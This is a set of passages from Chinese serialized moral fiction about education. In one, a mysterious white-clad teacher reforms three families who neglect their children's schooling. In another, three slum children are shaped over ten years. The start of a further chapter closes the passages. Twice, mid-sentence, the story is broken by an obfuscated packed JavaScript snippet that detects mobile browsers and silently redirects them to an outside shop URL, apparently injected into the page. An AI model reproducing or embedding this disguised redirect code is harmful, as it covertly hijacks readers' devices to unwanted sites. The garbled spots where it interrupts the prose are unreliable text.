来人头戴素纱帷笠,笠檐垂及肩的月白轻纱,面覆同色鲛绡,眸光清冽如寒泉;着一身云纹素罗深衣,衣摆以银丝绣着两幅图景:左为“幼童诵经”,右为“老叟悔学”,暗合“幼学”之旨。外罩一件无袖素纱氅衣,氅角缀两枚玉砚,砚砚相叠,寂然无声。腰束玄色丝绦,悬一柄无鞘木剑,剑身纹理如书页叠章,隐现翰墨幽香。足踏素锦踏云履,履尖微翘,不染尘埃。 身形清雅,立于劝学砚侧,帷笠轻纱与墨香同漾,竟似从书香中化出的灵慧。台下观者愕然,疑是古贤再世。 来人以木剑轻点砚中残墨,墨珠跃起成字: “幼不学,老何为!” 剑尖再点: “子不学,非所宜!” 诵罢,木剑遥指幼学碑:“三家家主,可愿登台观碑?” 沈、文、秦三主相顾赧然。来人飘然下台,衣袂如流云舒卷:“某有三桩‘幼学’公案,可请三公分观。观毕,再论学业。” 一、 厌学之非(沈氏) 沈氏为盐商巨贾,家资万贯。家主沈公,年过四旬方得独子沈玉,爱如珍宝。沈玉年方十岁,厌学贪玩:请西席,不过三日必气走先生;入蒙馆,不过半日必逃学嬉戏。终日只知斗蟋蟀、放纸鸢、弄虫鸟。沈公每欲管教,沈玉辄以绝食哭闹要挟,沈公无奈,只得听之。上月,沈玉为斗蟋蟀,毁邻家菜圃,沈公赔银十两了事。 来人引沈公至“子不学,非所宜”碑前。三字蒙尘,以袖拂之,尘灰飞扬。沈公掩面。 “子不学,非所宜。幼不学,老何为。”来人问,“沈公子可曾就学?” 沈公叹道:“吾儿不喜读书…” “不喜,便可不为?”来人召沈玉至前,问:“可会书写姓名?”玉摇头。问:“可识数字?”玉嬉笑:“识得骰子点数!”问:“可知孝悌?”玉撇嘴:“有银钱便是孝!” 沈公色变。来人叹:“玉不琢,不成器。子不学,不成人。公但知纵容,不知管教,是爱子,是害子?他日成人,目不识丁,手无寸能,何以立世?幼不学,老何为——老来悔之晚矣!” 又引至沈玉书房,但见蟋蟀罐、纸鸢、鸟笼堆积,无一本书。问:“此可称书房?公为父,可尽父责?子不学,非所宜,宜者,当为也。子不当为,父当导之。” 恰此时,书房“诗礼传家”匾额绳索骤断,匾落尘埃。沈公骇。来人道:“今有一法可解:严加管教。子不学,非所宜;今教之学,宜其所宜。” 沈公为难:“吾儿顽劣,恐难管教。” “顽劣不教,是纵其顽劣。昔周处为患,父老不教,终为乡里害。公欲子为周处乎?”来人正色。 沈公从之,即延严师,立规矩,禁嬉戏。是夜,“非所宜”三字尘灰自落。来人教“导学法”:子不学,当导之;导而不学,当严之。严而不苛,方为善教。 二、 不学之怜(文氏) 文氏为书香门第,历代有女子工诗善画。现任家主文公,有独女文秀,年方九岁,体弱多病。文公夫妇怜其孱弱,不令就学,日居绣楼,只教女红。文秀聪慧,偶闻兄长读书,辄能暗记,然父母恐其劳神,禁之。上月,文秀偷读《女诫》,被母发觉,书遭焚毁。 来人引文公至“幼不学,老何为”碑前。三字裂纹,以手抚之,裂痕如壑。文公蹙眉。 “子不学,非所宜。幼不学,老何为。”来人问,“文小姐可曾就学?” 文公叹道:“小女体弱,恐读书伤神…” “体弱,便可不学?”来人召文秀至前,隔帘问:“可愿读书?”秀低声道:“愿。”问:“可曾偷读?”秀赧然:“偷读《诗经》,只记三五篇。”问:“可明其义?”秀细声解“关关雎鸠”,竟能道出“淑女之德”。 文公愕然。来人叹:“体弱非不学之由。昔谢道韫幼时体弱,勤学不辍,终成咏絮之才。今小姐有才,公不教,是爱女,是误女?幼不学,老何为——老来无才,何以自立?” 又引至文秀绣楼,但见绣架针线,无一本书。问:“此可称闺阁?女子无才便是德,此言误人。才德兼备,方为淑女。公忍令明珠蒙尘?” 恰此时,绣楼“蕙质兰心”匾额蛛网骤结,如蒙尘垢。文公惧。来人道:“今有一法可解:许其就学。子不学,非所宜,男女皆然。幼不学,老何为,男女同慨。” 文公犹豫:“女子读书,恐惹非议…” “非议可畏,误女可畏?”来人正色,“昔班昭续《汉书》,蔡琰作《悲愤》,皆女子才学。公欲女为才女,抑为愚妇?” 文公从之,即允文秀就学,聘女师教授。是夜,“老何为”三字裂纹渐合。来人教“女学法”:女子亦子,不学非宜。因材施教,可成闺秀。 三、 失学之溺(秦氏) 秦氏为布商之家,家道小康。家主秦公早逝,遗孀秦夫人抚养孪生子秦风、秦月,年方八岁。秦夫人怜子失怙,溺爱无度,任其嬉戏,不令就学。二子终日掏鸟窝、捉泥鳅、打水漂,浑身泥泞。邻童皆入蒙馆,二子只在野外。上月,二子为捉知了,毁人桑林,秦夫人赔银五两,仍不责子。 来人引秦夫人至“幼不学,老何为”碑前。细观碑文,但见“幼”字有瑕,似被污渍浸染。秦夫人垂泪。 “子不学,非所宜。幼不学,老何为。”来人问,“二位公子可曾就学?” 秦夫人泣道:“先夫早逝,妾不忍苛责…” “不忍,便可纵之?”来人召秦风、秦月至前,问:“可会书写父名?”二子摇头。问:“可知母苦?”二子茫然。问:“可晓家计?”二子嬉笑:“有母在,何须晓?” 秦夫人色变。来人叹:“失怙非不学之由。昔欧阳修四岁失怙,母荻画地教子,终成文宗。今夫人不教,是爱子,是误子?幼不学,老何为——老来无成,何以慰先夫于九泉?” 又引至秦家院落,但见泥鳅罐、鸟笼、弹弓堆积,无一本书。问:“此可称家室?先夫若在,可许子如此?子不学,非所宜,失怙子尤宜学!” 恰此时,院中“耕读传家”匾额无故斜挂,似将坠落。秦夫人惊。来人道:“今有一法可解:送子就学。幼不学,老何为,今学之,犹未晚。” 秦夫人为难:“家计艰难,无力延师…” “邑有义塾,可送之。母荻画地,岂因家贫?”来人正色。 秦夫人从之,即送二子入义塾。是夜,“幼不学”三字污渍渐消。来人教“孤学法”:失怙子,当力学,以慰先人,以立己身。母教子学,是为大慈。 四、 幼学会 三家悔改,聚于幼学台。来人指碑全文: “子不学,非所宜。幼不学,老何为。今三家各明其理:沈公知严,文公知允,秦夫人知教。善哉!” 沈公问:“吾等已改,然邑中仍有厌学、不学、失学童子,何以化之?” “以幼学化之。”来人召邑民聚台下,令三家自述其过。 沈公述纵子:“吾纵子厌学,是吾过也。今知子不学,非所宜,愿严加管教,导之向学。” 文公述禁女:“吾禁女就学,是吾过也。今知幼不学,老何为,男女皆然,愿许女读书,成其才德。” 秦夫人述溺子:“吾溺子不教,是吾过也。今知幼不学,老何为,失怙子尤宜学,愿送子就学,以慰先夫。” 邑民闻之,多有感发。有纵子厌学者警醒,有禁女就学者开明,有溺子不学者送学。三月间,邑中童子就学之风大盛。 来人教“幼学化民法”:择邑中贤达,立“劝学会”,每岁春秋,聚于台下,以“子不学,非所宜;幼不学,老何为”相劝勉。又制“幼学榜”,彰表勤学童子。 五、 何为谳 九月初九,重阳日,劝学邑办“劝学祭”,三家子女齐聚。忽有外邑“纨绔子”三人前来讥嘲,谓“劝学邑童子皆书蠹,不知嬉戏之乐”。邑民愤慨,来人止之,召三家子女,会于幼学台。 是日,祭典方启,主祭人正诵“幼不学,老何为”,忽闻幼学台中央那架“劝学钟”发出“咚”然震响——钟声自鸣,一人自钟声中踏光而出,如学魂化形。 来人帷笠素纱,白衣胜雪,木剑悬腰,立于钟架之上,衣袂与钟声同振。 “善哉!三家已明幼学之要。”来人朗声道,“子不学,非所宜。幼不学,老何为。今三家子女,各勤其学,可会外邑纨绔。” 飞身而下,如白鹤掠地,点尘不惊。取木剑画地成策 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115885|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“沈玉,可诵《论语》;文秀,可解《诗经》;秦风秦月,可背《孝经》。幼而学,知礼仪,何惧讥嘲?” 沈玉背诵《论语·学而》,琅琅上口;文秀解读《诗经·关雎》,阐发淑德;秦风秦月背诵《孝经·开宗明义》,声情并茂。外邑纨绔观之,惭而服,揖道:“贵邑童子,知书达礼,吾等不及也!” 邑中耆老叹曰:“昔三家子女,或厌学,或不学,或失学;今三家各明其理,子女皆勤学。此谓‘幼学’之功也!” 来人登台顶,临风而立,诵“子不学,非所宜。幼不学,老何为”,声清越如金玉。诵罢,谓众曰:“子不学,非所宜,宜在当学;幼不学,老何为,为在当下。今诸童子知学勤学,他日可成栋梁。” 沈公拜问:“先生将去,何以长守此学?” 来人指心:“学在汝心,志在汝行。但时时自问:子不学,可宜否?幼不学,可为何?知不宜,当勤学;知何为,当力学。如此,则幼学成矣。” 言毕,纵身跃上幼学碑顶,足尖一点“学”字,身形如白虹经天,没入云端。众人仰观,唯见碑文光华流转,劝学钟声余韵不绝。 尾声幼学谣 十年后,劝学邑更名“勤学城”。三家互通婚姻,无分贫富。城中设“幼学塾”,童蒙入学,先诵此章。有游学士子过境,见城中“童子勤学,少年笃志,青年有为”,问:“此城何化若此?” 老者答:“子不学,非所宜;幼不学,老何为。人人知此,故人人勤学。” “何以至此?” 童子诵《幼学谣》: “治国平天下在学, 幼学之道要记牢。 子不学兮非所宜, 幼不学兮老何为。 沈氏纵子厌学嬉, 子不学非所宜兮。 文氏禁女不令学, 幼不学老何为兮。 秦氏溺子任嬉戏, 幼不学老何为兮。 三家迷途不知返, 幼学碑现警世语。 白衣点破幼学理, 劝学台上指迷途。” 士子叹服。是夜,宿城中,梦来人踏月而至,以木剑点其额:“子若为父,可知子不学非所宜?子若为师,可知幼不学老何为?明此理,则天下童子可教矣。” 士子惊寤,汗透重衣。翌日,访得三家教子之法,归而教子,后皆成材。 城中幼学碑,后人建“幼学阁”护之,阁悬联:“子不学非所宜警厌学,幼不学老何为戒嬉游”。有子不学、幼不学者临碑,碑面自现箴言。人传:“此乃白衣仙人所留幼学鉴也。” 本章诫世 一、 幼学二训 - 子不学,非所宜 - 幼不学,老何为 - 破解法:为人父母,自问“子不学,可宜否?”;为人师长,自问“幼不学,可为何?” 二、 三家三失 - 沈氏失于“厌学”——纵子厌学,子不学非所宜 - 文氏失于“不学”——禁女不学,幼不学老何为 - 秦氏失于“失学”——溺子不学,幼不学老何为 - 惕世:多少父母纵子厌学,以为孩童天性?多少人家禁女读书,以为女子无才?多少孤寡溺子不教,以为怜其失怙? 三、 劝学大道 - 深层隐喻:学如春苗,不学则萎。幼时不学,如苗不溉,老来无成,如树无果 - 终极指向:治国平天下,在人才。人才之基,在幼学。幼不学,则人才衰;人才衰,则国运颓 幼学偈: 劝学邑里三家偏,各失幼学教养篇。 沈氏纵子厌学嬉,子不学非所宜兮。 文氏禁女不令学,幼不学老何为兮。 秦氏溺子任嬉戏,幼不学老何为兮。 三家迷途不知返,幼学碑现警世言。 白衣点破幼学理,劝学台上指玄天。 子不学兮非所宜,幼不学兮老何为。 沈氏严教子勤学,文氏许女学成才。 秦氏送子入义塾,三家归正子弟贤。 后世叹: 子不学兮非所宜,幼不学兮老何为。 沈氏纵子厌学嬉,文氏禁女不令学。 秦氏溺子任嬉戏,三家迷途各倒颠。 幼学碑前现异象,白衣指点幼学篇。 正是: 治国平天下在学,幼学之道要记牢。 子不学兮非所宜,幼不学兮老何为。 沈氏纵子厌学嬉,文氏禁女不令学。 秦氏溺子任嬉戏,三家迷途各倒颠。 白衣点破幼学理,劝学台上指真诠。 86.琢玉谳 楔子·陋巷三石 东郭坊乃云州城最是鱼龙混杂之处。巷口第三家豆腐坊,店主陈三,每日寅时起身磨豆,辰时开张,十年如一日。他有个儿子陈石,今年十二,生得机灵,却最厌读书。陈三每每劝他:“儿啊,人不学,不知义。你看隔壁王秀才……”话未说完,陈石已捂着耳朵溜去巷尾,看卖艺的翻筋斗去了。 巷尾有个铁匠铺,主人赵铁锤,人如其名,一身疙瘩肉,打起铁来火星四溅。他有个徒弟名唤石娃,十五岁,臂力惊人,抡得动二十斤大锤,可就是性子野得很,师傅说东,他偏往西。赵铁锤骂他:“你这块顽石,玉不琢不成器,人不学不知义,懂不?”石娃把铁锤一扔:“俺学打铁不就成了?学那些劳什子作甚!” 巷子深处有家小茶铺,店主是个寡妇柳氏,丈夫早逝,留了个女儿唤作柳叶,年方十一,生得水灵,却是个闷葫芦。柳氏省吃俭用,送女儿去女塾认字,可柳叶去了三日,回来就掉眼泪——同窗嫌她身上豆腥味。自那以后,她再也不肯上学,只整日帮母亲洗茶碗、擦桌子。柳氏叹气:“叶儿,玉不琢不成器……”柳叶低着头,手指绞着衣角,一声不吭。 这是宣和十七年九月廿三,秋雨初霁。东郭坊的早市刚刚开张,豆腐坊的白汽、铁匠铺的黑烟、茶铺的茶香混在一处,蒸腾出市井特有的暖意。 一、 豆腐坊的石坯子 陈三的豆腐是东郭坊一绝,白嫩如脂,入口即化。这日卯时,他正点卤,忽见一个白衣人立在铺前。 来人戴着一顶竹丝编的斗笠,笠檐压得很低,遮去大半面容,只露出清瘦的下巴。一袭素白麻布长衫洗得发白,袖口挽起,露出手腕上几道浅浅的疤痕。腰间悬着一柄无鞘木剑,剑身纹理如老树盘根。最奇的是面上那方棉纱,浆洗得挺括,在晨雾中泛着月白的光。 “掌柜的,来碗豆腐脑,多放辣子。”声音很平,听不出年纪。 陈三应了声,盛了满满一大碗。那人并不就座,就站在石磨旁,用木匙慢慢搅着,忽道:“掌柜有个儿子?” 陈三一愣:“您怎知?” “磨盘上有本《三字经》,书角都卷了,应是时常翻阅的。可见掌柜是读书人。” 陈三苦笑:“读过几年私塾,后来家道中落……让您见笑。” “既读书,当知‘玉不琢,不成器’。”那人啜了口豆腐脑,“为何不琢令郎这块玉?” 陈三的手抖了一下,卤水洒出几滴。他擦了擦手,长叹一声:“先生有所不知,我那小子……”便将陈石如何逃学、如何贪玩、如何听不进劝,一五一十说了。 白衣人静静听着,待陈三说完,才道:“玉不琢,不成器。琢玉要用锉、用刀、用水磨。掌柜用的是什么?” 陈三怔住。 “你用的是嘴。”白衣人放下碗,木匙在碗沿轻轻一叩,“只说‘人不学,不知义’,可曾教他何为义?可曾让他见过不学之人的下场?可曾让他明白,不学,将来就只能像你一样,寅时起身磨豆,一日不磨,一日无食?” 这话说得重,陈三脸上红一阵白一阵。 “我不是瞧不起磨豆腐的。”白衣人忽然放软语气,“三百六十行,行行出状元。但你既望子读书,就该琢他这块玉。不琢,永远是块石头。”他往桌上放了三个铜板,“明日此时,我带他去个地方。” 陈石这日又逃了学,溜到城隍庙看人赌骰子。正看得起劲,后领忽然一紧——是那白衣人。 “小兄弟,带你看场戏。” “我不去!你谁啊!”陈石挣扎。 白衣人也不言语,提着他穿街过巷,来到西市口。那里跪着一排人,个个蓬头垢面,脚上戴着镣铐。旁边有个文吏模样的人,正拿着册子念: “张二狗,目不识丁,受人诓骗,在借据上按手印,将祖宅抵了十两银,现流落街头……” “李三,不识契文,租田时被人做了手脚,五年白耕,倒欠田主三十石谷……” “王老四,不晓律法,与人争执,误伤人命,判流放三千里……” 文吏每念一桩,人群里就发出一阵唏嘘。陈石看得呆了,他从未想过,不识字竟能落到这般田地。 回去的路上,白衣人问他:“看出什么了?” 陈石低着头,半晌才说:“他们……都是吃了不识字的亏。” “不只是识字。”白衣人停下脚步,从怀里掏出一块鹅卵石,又掏出一块玉佩,放在陈石掌心,“你看,这块石头,生在河边,千年万年还是石头。这块玉,原是石头,经了琢磨,方成美器。人不学,就如这石头,永远只是石头。学了,才能成器,才知什么是义,什么是耻,什么是人该有的活法。” 陈石攥着那块玉佩,手心汗津津的。他想起父亲佝偻着身子推磨的样子,想起母亲夜里在油灯下补他撕破的书包,忽然觉得鼻子发酸。 “我不做石头。”他小声说。 “那要琢。”白衣人拍了拍他的肩,“很疼,但值得。” 二、 铁匠铺的顽铁 赵铁锤这几日很愁。石娃这浑小子,前日差点闯出大祸——西街绸缎庄的少东家来打柄剑,石娃抡锤时走了神,火星子溅到人家锦袍上,烫了个窟窿。少东家不依不饶,最后赔了三两银子才罢休。 “你这块顽铁!”赵铁锤气得胡子直抖,“怎么就琢不成器!” “俺又不是玉!”石娃梗着脖子。 正闹着,白衣人挑帘进来。他今日换了装束,斗笠去了,露出一头用木簪草草绾起的发,面上仍是那方棉纱。一身粗布短打,像是码头扛活的脚夫,可那柄木剑还悬在腰间,透着违和。 “掌柜的,打把菜刀。”他声音有些哑。 赵铁锤闷声应了,拉风箱,烧铁。白衣人却不看炉子,只盯着墙上那排打好的农具——锄头、镰刀、犁铧,一应俱全,可都粗笨得很,刃口也不甚齐整。 “掌柜的手艺,十年如一日。”白衣人忽然说。 赵铁锤手一顿:“客官这话……” “没长进。”三个字,轻飘飘的,却像锤子砸在砧板上。 石娃不干了:“你谁啊!凭什么说我师傅!” “凭你打的这些。”白衣人随手拎起一把镰刀,屈指一弹,声音沉闷,“铁是好铁,可淬火差了火候,刃口卷了。这样的镰刀,割三亩稻子就得回炉。你师傅教了你十年,你就学成这样?” 石娃脸涨得通红。 赵铁锤却摆了摆手,看向白衣人:“客官是行家?” “略懂。”白衣人走到炉前,示意赵铁锤让开。他接过铁钳,夹起一块烧红的铁,放在砧上,抡起铁锤。 那一锤下去,声音竟完全不同——清脆、绵长,像庙里的钟。接着是第二锤、第三锤……锤锤落在要紧处,火星子溅得有章有法。不过一盏茶功夫,一块顽铁在他手里渐渐有了刀的雏形。 赵铁锤看呆了。他打了三十年铁,从未见过这样的锤法——不单是力气,更是眼力、心力。每一锤都恰到好处,多一分则过,少一分则欠。 “这是……” “百炼钢的法子。”白衣人把成形的刀坯浸入水中,滋啦一声白汽腾起,“《天工开物》里写得明白,可你师徒谁读过?” 师徒二人面面相觑。 “玉不琢,不成器。铁不打,不成钢。”白衣人擦了擦手,“打铁不只是力气活。要知火候,看焰色;要懂淬火,看水纹;要明锻打,听声音。这些,书里都有。不学,你就永远是个铁匠,成不了匠师。” 他看向石娃:“你有力气,是块好料。可好料不琢,就是废铁。你师傅肯教你,是你的造化。可你不学,不上心,把打铁当成混饭吃的营生。将来你师傅老了,打不动了,你怎么办?还打这种镰刀?” 石娃垂着头,半晌,忽然跪下,对着赵铁锤磕了个头:“师傅,俺错了。俺学,俺好好学。” 赵铁锤眼眶有点热,扶起徒弟,转身对白衣人长揖到地:“请教先生高姓大名?” “不必问。”白衣人摆摆手,从怀里掏出本书,纸张泛黄,是手抄的《锻冶辑要》,“这本书,给你师徒。字认不全,去问陈石,他这几日该用功了。” 三、 茶铺的璞玉 柳叶这几日有些奇怪。每日清晨,她去井边打水,总能遇见那个白衣人。 那人总坐在井台边的老槐树下,膝上摊着一卷书,有时是《女儿经》,有时是《闺训》。见了柳叶,便招手让她过去,问几个字。起初柳叶怯生生的,低着头不敢说话。后来见那人眼神温和,声音也轻,才慢慢敢回答。 “这个字念什么?” “……义。义气的义。” “对。那‘玉不琢,不成器。人不学,不知义’,是什么意思?” 柳叶咬着唇,摇头。 白衣人合上书,从怀里摸出两样东西:一块粗粝的石头,一枚温润的玉佩。 “你看,这块玉,原也是石头。匠人得了它,要先去皮,看纹理;再切割,定形状;然后粗磨,细琢,抛光……每一道工序,都要用心,都要疼。可疼过了,就成了美器。”他顿了顿,“人不学,就像这块石头,永远不知道自己能成什么样子。学了,才知道什么是美,什么是善,什么是义,才知道人该怎么活,才不算白活一场。” 柳叶怔怔地看着那块玉佩。晨光透过树叶洒下来,玉佩泛着柔柔的光泽,真好看。 “你娘送你上学,是疼你,想琢你这块玉。同窗嫌你,是她们的眼被尘蒙了,看不见璞玉里的光华。可你不能因为别人蒙了眼,就把自己也变成石头。” 柳叶的眼泪吧嗒吧嗒往下掉。 “想读书么?” “……想。” “那就读。”白衣人把《女儿经》塞进她手里,“不认识的字,来问我。我每日卯时在此。” 自那以后,柳叶每日早早起来,打了水,就跑到老槐树下。白衣人果真在那里,教她认字,教她念诗,教她“女子也有女子的道义”。 柳氏很快察觉女儿的变化——眼里有了神采,说话有了条理,有时还能念几句诗。她偷偷去井边看过,看见女儿捧着书,一个字一个字地念,那白衣人静静地听,偶尔纠正,目光里有一种她说不清的东西,像是慈悲,又像是期许。 这日,柳氏煮了碗桂花圆子,端到树下。 “先生,多谢您教小女……” 白衣人摆摆手,接过碗,却不吃,只问:“掌柜的,你可知道,你女儿是块璞玉?” 柳氏苦笑:“什么玉不玉的,女孩子家,认得几个字,将来找个好人家……” “然后呢?”白衣人打断她,“相夫教子,浑浑噩噩过一辈子?掌柜的,你也是女子,你愿意你女儿像你一样,丈夫去得早,只能守着茶铺,每日擦桌洗碗,夜里对着一盏孤灯,连个说话的人都没有?” 这话戳了柳氏的心窝,她背过身去抹泪。 “我不是说这样不好。”白衣人声音缓下来,“可人活一世,总该知道,自己除了是某人的女儿、某人的妻子、某人的母亲,还是自己。读书,就是为了明白这个‘自己’。玉不琢,不成器。女子也是人,也该琢,也该成器。” 柳氏转过身,深深一福:“求先生教我女儿。” “我教她认字,你教她做人。”白衣人扶起她,“茶铺里人来人往,是世间百态。让她多看,多听,多想。见了穷苦人,送碗热茶;见了伤心人,说句宽慰话。这就是义,是书本里没有的义。” 他顿了顿,望向巷子深处:“这三家的孩子,各有各的顽劣,各有各的委屈。可都是玉,都是可琢的玉。就看大人们,肯不肯下功夫去琢了。” 四、 琢玉会 转眼过了半月。这日清晨,白衣人将三家大人小孩都叫到老槐树下。 陈石手里捧着《三字经》,背得结结巴巴,但总算能背下大半。石娃捧着一柄新打的柴刀,刃口平整,淬火均匀,是照着《锻冶辑要》打的。柳叶捧着一页纸,上面是她自己写的诗,字还歪扭,意思却清浅: “井边老槐叶青青,白衣先生教我经。玉不琢时不成器,人不学不知义。” 白衣人一一看过,点了点头,又摇了摇头。 “不够。”他说。 众人一愣。 “陈石,你背《三字经》,可知‘人之初,性本善’何解?” 陈石摇头。 “石娃,你打这柴刀,可知为何要用山泉水淬火?” 石娃挠头。 “柳叶,你写这诗,可知‘义’字怎么写?” 柳叶低头。 “玉不琢,不成器。你们现在,只是粗粗磨去了石皮,离成器还远。”白衣人从怀里掏出三块玉佩雏形,分给三人,“这玉,我粗磨了,给你们。往后十年,你们自己琢。陈石,你要琢到能解经义;石娃,你要琢到能打百炼钢;柳叶,你要琢到能明道义。十年后,我会回来看。若还是这般模样——” 他顿了顿,声音很轻,却重如千钧: “就真成了石头了。” 陈三、赵铁锤、柳氏都肃然。三个孩子捧着玉佩雏形,像是捧着什么极其贵重的东西。 白衣人转身,朝巷子深处走去。晨光拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121153|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长他的影子,那身白衣在雾气中渐渐模糊。 “先生!”柳叶忽然喊,“您……您到底是谁?” 白衣人没有回头,只有一句话随风飘来: “琢玉人。” 五、 十年之约 宣和二十七年,秋,东郭坊。 豆腐坊早已不是当年的小铺,三开间的门面,招牌上“陈记豆腐”四个字,是陈石写的,已有几分风骨。陈石穿着长衫,正在柜台后算账。他今年二十二,前年中了秀才,如今一边经营铺子,一边准备乡试。有熟客打趣:“陈秀才,还卖豆腐呢?”他笑:“玉不琢,不成器。豆腐也得天天磨,才好吃。” 铁匠铺的招牌换了,叫“赵石精铁”。石娃成了掌柜,赵铁锤半退休,每日只坐在门口晒太阳。铺子里打出的刀剑农具,已是云州一绝。前些日子,有位将军路过,定了三十把马刀,说比军器监的还好。石娃摩挲着手里那块玉佩——已琢成竹节模样,温润生光——对徒弟们说:“听见没?玉不琢,不成器。铁不打,不成钢。都给俺仔细着!” 茶铺还是那间茶铺,柳氏却已不怎么动手了。柳叶成了掌柜,还兼着女塾的先生。她把铺子隔出半间,摆上书架,让来喝茶的穷孩子免费看书。有那等闲人说闲话:“女子抛头露面,成何体统。”柳叶不恼,只笑:“人不学,不知义。我教人知义,有什么不好?” 九月廿三,晨,雨霁。 三人不约而同聚到老槐树下。那树又粗了一圈,井台也修葺过了。他们手里都捧着那块玉佩——陈石的琢成了玉牌,刻着“琢玉”二字;石娃的琢成了剑形,是他自己打的模子;柳叶的琢成了柳叶状,薄如蝉翼,对着光能看见叶脉。 “十年了。”陈石说。 “先生会来么?”柳叶问。 “他说来,就会来。”石娃很肯定。 可他们等了一日,白衣人没有来。只在天擦黑时,一个十来岁的小乞儿跑过来,递过一封信。 信上只有十六个字,是上好的宣纸,墨迹淋漓: “玉已成器,不须再琢。人既知义,何必见我。” 三人捧着信,对着暮色,忽然都红了眼眶。 小乞儿又说:“那位白衣服的先生还说,他留了三本书,在井台石板下。” 他们撬开石板,果然有三本用油布包好的书。陈石那本是《论语集注》,石娃那本是《天工开物》全本,柳叶那本是《古今列女传》。每本书的扉页,都用朱笔画了块未琢的璞玉,玉旁一行小字: “玉不琢,不成器。人不学,不知义。琢玉十年,今赠尔等。往后百年,尔等亦是琢玉人。” 井水幽幽地映着暮色。远处传来豆腐坊的磨声,铁匠铺的锤声,茶铺的读书声。东郭坊的灯火,一盏一盏亮起来。 尾声琢玉谣 又过了十年,东郭坊出了三位奇人:陈石中了举,却不肯做官,在坊里开了间义塾,专收穷人家孩子;石娃成了云州首屈一指的匠师,每年拿出三成利钱,资助贫寒子弟学手艺;柳叶的女塾越办越大,收了三十几个女学生,有富家千金,也有灶下婢女。 坊里的孩子都会念一首童谣,是陈石写的: “东郭坊,有三奇, 豆腐西施铁匠诗。 玉不琢,不成器, 人不学,不知义。 陈石琢玉成秀才, 石娃打铁作匠师。 柳叶烹茶教女经, 三人皆从琢玉始。 若问琢玉人何在, 老槐树下井水深。” 有个游学士子路过,听了这童谣,好奇去问陈石:“玉不琢,不成器——这琢玉人究竟是谁?” 陈石正在磨豆腐,闻言停下手,望向窗外那棵老槐。 “是个白衣人。”他说。 “什么样的白衣人?” “戴着斗笠,蒙着面纱,悬着木剑。”陈石想了想,又添了句,“眼睛很亮,像是……能把人心里那点蒙尘都照见。” 士子追问:“后来呢?” “后来他就走了。”陈石推起石磨,豆汁汩汩流出,“留下句话,说往后百年,我们都是琢玉人。” 那天夜里,士子宿在坊中客栈。梦见一个白衣人影坐在井边,膝上摊着一本书,正低声教一个小女孩认字: “这个字念义。义气的义。玉不琢,不成器。人不学,不知义……” 醒来时,天已微明。他推开窗,看见陈石的义塾里,三十几个孩子正摇头晃脑地念: “玉不琢,不成器。人不学,不知义……” 晨雾中,那琅琅书声,像是从很远很远的地方传来,又像是就在耳边,一声一声,敲在心上。 本章诫世 一、 琢玉二训 - 玉不琢,不成器 - 人不学,不知义 - 破解法:为人师长,自问“可曾琢玉?用何法琢?琢到何处?”;为人子弟,自问“可愿成器?如何成器?成何器?” 二、 三家三璞 - 陈石是块顽石——厌学贪玩,父纵不教 - 石娃是块顽铁——野性难驯,师严不化 - 柳叶是块璞玉——蒙尘不显,母弱不琢 - 惕世:多少璞玉被弃于市井?多少顽石自甘沉沦?多少美器毁于不琢? 三、 琢玉大道 - 深层隐喻:世人皆玉,天生材质或有不同,然不琢皆不成器。琢玉之道,在因材施教,在锲而不舍,在百年树人 - 终极指向:治国平天下,在育人。育人如琢玉,需慧眼识材,需苦心琢磨,需待以时日 琢玉偈: 东郭坊里三块石,顽石顽铁与璞玉。 陈石厌学父纵容,人不学不知义兮。 石娃野性师难驯,玉不琢不成器兮。 柳叶蒙尘母不琢,玉不琢不成器兮。 三家迷途不自知,白衣点破琢玉理。 十年琢磨方成器,人不学不知义兮。 后世叹: 玉不琢,不成器,人不学,不知义。 顽石厌学父纵容,顽铁野性师难驯。 璞玉蒙尘母不琢,三家迷途各倒颠。 白衣现身井台边,琢玉十年成美器。 正是: 市井巷陌藏美玉,不琢不磨总可惜。 陈石厌学成顽石,石娃野性作顽铁。 柳叶蒙尘为璞玉,三家各有不成器。 白衣点破琢玉理,十年琢磨成美器。 玉不琢兮不成器,人不学兮不知义。 87.少礼谳 楔子·三户无礼 南城根有条燕子巷,巷子不深,住着三户平常人家。 巷口是卖炊饼的孙家。孙大膀子每日寅时起身,和面、揉剂、贴炉,辰时开张,酉时收摊,三十年风雨无阻。他有个独子孙小饼,今年十三,生得虎头虎脑,却是个“小霸王”。巷里孩子见他,都绕道走——为甚?这孙小饼自小被孙大膀子宠得没边,要星星不给月亮,养成个不知礼的性子。前日李寡妇家的二小子多吃了他家一个炊饼,被他按在地上打得鼻青脸肿。孙大膀子知道了,只啐一口:“小兔崽子,手倒狠!”非但没责罚,还多给了两个饼,说是“打累了补补”。 巷中是裁缝周家。周裁缝早年读过几年书,后来家道中落,学了手艺。人倒是勤快,可就是性子太闷,三棍子打不出个屁来。他老婆周婶子是个碎嘴,整日东家长西家短,偏偏对自家儿子周小剪极是苛责。小剪今年十二,性子随爹,闷葫芦一个,在巷里是个人人都可欺负的软柿子。昨日被隔壁油铺的伙计泼了一身油,回来挨了娘一顿骂:“窝囊废!人家泼你,你不会泼回去?”小剪低着头,一声不吭。 